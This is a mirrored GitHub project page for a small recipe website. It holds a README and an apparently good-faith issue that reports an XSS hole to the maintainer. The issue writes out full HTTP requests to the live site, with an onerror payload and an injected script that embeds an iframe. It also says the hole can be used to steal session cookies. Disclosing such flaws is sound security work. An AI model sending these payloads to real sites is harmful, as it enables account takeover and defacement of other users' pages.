Giter VIP home page Giter VIP logo

recipow's Introduction

The first power themed recipe website!

For bodybuilders by bodybuilders*!

*Website is also for everyone else

Try it live at recipow.com

About

This is a website for bodybuilders to share their power themed recipes. 🔥

Even if you aren't a bodybuilder, please sign up and create a recipe. 💯

I'm creating this website to gain experience in full-stack web dev, 🌐

and to make the best recipe website online #️⃣1️⃣‼️

recipow's People

Contributors

typio avatar

Stargazers

cvs0 avatar Metehan avatar Eric Yan avatar  avatar Shahul Hameed Akmal avatar Adarsh S avatar Sabrina  avatar Eddarif Badr avatar Khalil DIDA avatar Paul T. avatar Sebastian Skonieczny avatar Tobiasz Stamborski avatar Koushik Chakraborty avatar Adedoyin Emmanuel Adeniyi avatar Yasin Rezvani avatar nicolas carriman avatar

Watchers

 avatar

recipow's Issues

XSS Vulnerability

greetings, its bear.

I found a very scary vulnerability.

What can happen if bad guy finds it:
ddos
xss (leak session id)
html defacement
any javascript execution on user browser
malicious iframe (phishing, clickjacking, more scary stuff)
even more scary stuff

The exploit:

By sending this specific http post request


POST /recipe/review HTTP/2
Host: www.recipow.com
Cookie: _ga=GA1.1.58669917.1689302410; sessionId=; _ga_VR9MW6WD01=GS1.1.1689302409.1.1.1689302473.0.0.0
Content-Length: 98
Sec-Ch-Ua:
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: /
Origin: https://www.recipow.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.recipow.com/@thomas/recipe-raweggslushie
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"recipe":"@thomas/recipe-raweggslushie","rating":4.9375,"comment":"<img src/onerror=alert(1)>bb"}


There is an xss attack <img src/onerror=alert(1)>bb. This can be used to steal the session id cookie and log in as other users. :(((

Screenshot 2023-07-15 174353

This is because the user is allowed to change the input which is directly reflected into the html (very unsafe and scary!!)

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Here is an example of executing javascript (also allowing for potentially malicious iframes)


POST /recipe/review HTTP/2
Host: www.recipow.com
Cookie: _ga=GA1.1.58669917.1689302410; sessionId=dwadawda33t14; _ga_VR9MW6WD01=GS1.1.1689302409.1.1.1689302473.0.0.0
Content-Length: 597
Sec-Ch-Ua:
Sec-Ch-Ua-Platform: ""
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: /
Origin: https://www.recipow.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.recipow.com/@thomas/recipe-raweggslushie
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"recipe":"@thomas/recipe-raweggslushie","rating":4.9375,"comment":"<img src/onerror="var youtubeIframe = document.createElement('iframe');youtubeIframe.width = '560';youtubeIframe.height = '315';youtubeIframe.src = 'https://www.youtube.com/embed/yMDOin3yWhU';youtubeIframe.title = 'YouTube video player';youtubeIframe.frameBorder = '0';youtubeIframe.allow = 'accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share';youtubeIframe.allowFullscreen = true;document.getElementsByClassName('w-full my-12')[0].appendChild(youtubeIframe);">clickme"}


This code imbeads an iframe into another user's recipie page that shows a youtube video of bears. Remember this can be used to create a fishing page or show other content or deface the website or do many other things. Many other scary things!!! (cryptomining?)

Screenshot 2023-07-15 174842

i think you got the idea by now. You can also use this javascript to force all visitors to create new recipies with hundreds of images and send xss attacks from the victims browsers and it can be very bad. Very scary.

Summary:
Exploit allows any user to abuse reflected xss to execute javascript on a victim browser. (very scary)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.